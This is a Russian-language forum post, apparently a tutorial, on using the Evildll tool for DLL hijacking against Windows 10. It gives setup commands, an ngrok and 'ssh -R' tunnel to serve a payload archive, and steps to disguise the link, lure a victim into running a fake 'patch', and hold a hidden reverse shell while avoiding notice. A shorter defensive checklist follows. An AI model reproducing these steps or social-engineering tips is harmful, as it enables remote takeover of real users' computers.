Привет, Уважаемые Форумчане и Друзья! Сегодня мы окунемся в мир
DLL Hijacking и рассмотрим любопытный инструмент под названием
Evildll от Thelinuxchoice. Да, Microsoft уже который год пытается прикрутить гайки и бороться с этой заразой, но, как видите, новые лазейки и способы атак появляются регулярно. Не верите? Смотрите, как в 2025-м обнаружилась
Уязвимость dMSA в Windows Server 2025 угрожает Active Directory — она тоже сводится к подмене DLL внутри AD. Здесь мы покажем один из таких "приветов" из прошлого, который, однако, все еще вполне актуален.
В двух словах о Dll Hijacking: это когда приложение
.exe при запуске вместо легитимной библиотеки подгружает
вредоносную DLL-ку. В итоге, можно получить что угодно — от создания дубликатов
cmd с
powershell и их скрытного вызова до полноценного
reverse shell, который даст вам полный контроль над удаленной машиной. Звучит интригующе, правда?
Важное предупреждение:Вся информация, представленная здесь, предназначена исключительно для ознакомления и углубленного изучения проблем безопасности. Использование рассматриваемого инструмента в незаконных целях строго запрещено и преследуется по закону!
Установка Evildll: Готовимся к "Дьявольской" Работе
Код:
Код:
git clone https://github.com/thelinuxchoice/evildll.git
apt-get install mingw-w64
cd evildll/
chmod +x evildll.sh
bash evildll.sh
В моем Blackarch
mingw-w64 уже был, так что обошлось без лишних телодвижений. А вот пользователям Kali Linux и других дистрибутивов, скорее всего, придется его установить.
Инструмент, признаюсь, с характером. Немало времени ушло на то, чтобы "договориться" с ним. Один из главных подводных камней — это
authtoken для ngrok. При первом запуске Evildll сам ngrok подтянет, но токен потребует. Если authtoken не подходит или сервис ограничен, обратите внимание на
альтернативы ngrok в 2025 году — это оставит цепочку гибкой даже в замкнутых сетях.
Я пытался закомментировать участок кода, отвечающий за проверку токена, но, увы, это может аукнуться проблемами с запуском
listener. Так что лучше не лениться: либо регистрируйтесь на ngrok и получите свой токен, либо ищите, где его достать. Без него — никуда.
Как только
ngrok появится в директории
evildll, делаем его исполняемым и прописываем токен:
Код:
Код:
chmod +x ngrok
./ngrok authtoken значение_token
Кстати, если заглянуть в код
evildll.sh, то там можно увидеть стандартный
IP-адрес-заглушку. Я его сменил на
127.0.0.1 — хуже не стало, да и понятнее для локальных тестов.
В бой: Атакуем Windows 10
Целимся, как и раньше, в бедную Windows 10. После запуска инструмента, если с токеном все хорошо, Evildll предложит два варианта атаки. Второй — для локальной сети или WAN, где вы задаете IP-адрес атакующего хоста и порт вручную.
При первом способе инструмент сгенерирует вам
ссылку для ngrok и запустит сервер на порту
3333. Полученную ссылку вида
0.tcp.ngrok.io:порт маскируем (шифруем, прячем за короткой ссылкой) и отправляем "жертве".
Как альтернативу ngrok, можно использовать
ssh -R в другом терминале:
Код:
Код:
ssh -R 80:localhost:3333 custom-subdomain@ssh.localhost.run
Это создаст две ссылки (
http и
https) и откроет доступ по
ssh для скачивания сгенерированного архива. Их тоже можно завуалировать и отправить тестируемому субъекту.
Если нужны проверенные конфиги без ngrok, почитайте обсуждение
альтернатив ngrok — там есть рабочие примеры.
Минус такого подхода с
ngrok/
ssh — порты часто назначаются произвольно, и это не всегда срабатывает. Но если все успешно, жертве сразу же предложат скачать и сохранить архив. Браузеры, конечно, могут немного поворчать про "редко загружаемый файл", но на этом обычно все.
Evildll тут же радостно сообщит о переходе по ссылке и предложит активировать прослушиватель на
4444 порте.
Ключевой момент: атакуемый субъект
должен РАЗАРХИВИРОВАТЬ архив и только потом запустить приложение
.exe. Если попытаться запустить его прямо из архива, получите ошибку, и ничего не выйдет.
Сам момент запуска — буквально пара секунд мелькает окно, но именно в этот миг все и происходит, с правами пользователя, который запустил файл. Мне удалось запечатлеть этот "парасекундный момент"!
У атакующего в этот момент уже есть
данные и крепкая сессия.
Команды можно выполнять любые. Хоть папку
lox на рабочем столе создавайте (у меня с русскоязычной символикой Blackarch пока не дружит, извините за иероглифы).
Можно потрогать системные файлы, выполнять команды, копировать, удалять, запускать службы. Главное — не запускайте активные приложения, это явное самообнаружение. Представьте, если на чистом рабочем столе вдруг сам собой Skype запустится — подозрительно, не так ли?
После успешной сессии все данные будут сохранены в файл
saved в директории инструмента. Перед следующей атакой не забудьте удалить этот файл, а также архив с одноименным именем (
.zip) и
index.php — они сгенерируются заново.
Плюсы и Минусы Evildll: Честно и Откровенно
Я вам уже немного поныл про ngrok, теперь давайте разберем плюсы:
- Гибкость: Имя архива можно задать любое, исполняемый дефолтный .exe файл можно переименовать и засунуть обратно в архив. А при желании — даже свою иконку на него навесить.
- Социальная Инженерия (СИ): Тут открывается простор для фантазии! Можно пробросить архив с каким-нибудь "полезным" софтом, к нему — инструкцию по установке "патча" (на самом деле — вашего .exe), и вуаля!
- Устойчивость сессии: Это большой плюс. Неважно, что запускается или закрывается на хосте жертвы, пока он включен — сессия живет!
- Скрытность: После запуска приложения процесс сессии визуально скрыт. Это не панацея, но для быстрого взгляда — незаметно.
- Интеграция с Metasploit: Инструмент дает возможность использовать Metasploit, что расширяет арсенал атакующего.
- Дублирование cmd с reverse shell: Несмотря на то, что это не самый вредный процесс для атакующего, для жертвы это полный компромисс системы. Процесс вроде бы "обычный", но по факту — открытый канал к машине. Аналогичный эффект наблюдается при эксплуатации CVE-2023-1585/1587 в Avast, где DLL-гонка приводит к выполнению кода от SYSTEM.
Защита: Как Не Попасться на Удочку
Перед тем как перейти к чек-листу, стоит усложнить жизнь анализаторам, применяя приёмы из статьи
как усложнить анализ приложения.
Ну а теперь о главном — как от всего этого защититься. Опытные админы и пользователи могут сразу заподозрить неладное.
- Сетевой Мониторинг (netstat): Первым делом, конечно, netstat в cmd. Подозрительное соединение сразу бросится в глаза.
- Проверка Файловой Системы: Заходим на диск C и, о чудо, видим свежую папку dll, которой там быть не должно. Удаляем ее вместе со всем содержимым.
- Реестр: Обязательно проверяем ветки реестра на наличие аномальных записей, связанных с новыми DLL или путями запуска.
Для более серьезной защиты и обнаружения я бы порекомендовал взглянуть на следующее:
- Sysmon: Этот инструмент от Microsoft Sysinternals просто незаменим. Он логирует создание процессов, загрузку DLL, сетевые подключения и много другое. Правильно настроенные правила Sysmon могут поймать DLL Hijacking на горячем.
- Политики Безопасности: Используйте AppLocker или Windows Defender Application Control (WDAC). Эти политики позволяют контролировать, какие приложения и библиотеки могут запускаться в вашей системе. Белые списки — наше всё!
- EDR-решения: Системы Endpoint Detection and Response (EDR) постоянно мониторят активность на конечных точках и могут обнаруживать аномальное поведение, указывающее на атаки типа DLL Hijacking.
- Обновления: Ну и банальное, но крайне важное: регулярно обновляйте ОС и все программы. Microsoft постоянно закрывает известные уязвимости.
- Обучение Пользователей: Самое слабое звено часто — это человек. Обучайте пользователей основам кибергигиены и социальной инженерии. Объясняйте, почему нельзя запускать файлы из непонятных архивов или по подозрительным ссылкам. А тем, кто хочет системно потренироваться в лабораторных условиях и научиться выявлять подобные цепочки от разведки до эксплуатации, пригодится практический трек «Pentest: от планирования до эксплуатации» на Специалист по тестированию на проникновение в информационные системы.
Чтобы понимать, где именно может просесть оборона Active Directory, полезно сверяться с
топ-5 уязвостей Active Directory и разбором
вектора атаки через ACL — так вы закроете дыры ещё до того, как злоумышленник подменит DLL.
На этом у меня пока все, друзья. Надеюсь, было познавательно! Благодарю за внимание и до новых встреч в киберпространстве!
А теперь вопрос к вам, Форумчане: какие еще необычные или малоизвестные методы обнаружения DLL Hijacking вы используете в своей практике? Поделитесь опытом, чтобы сделать нашу защиту еще крепче!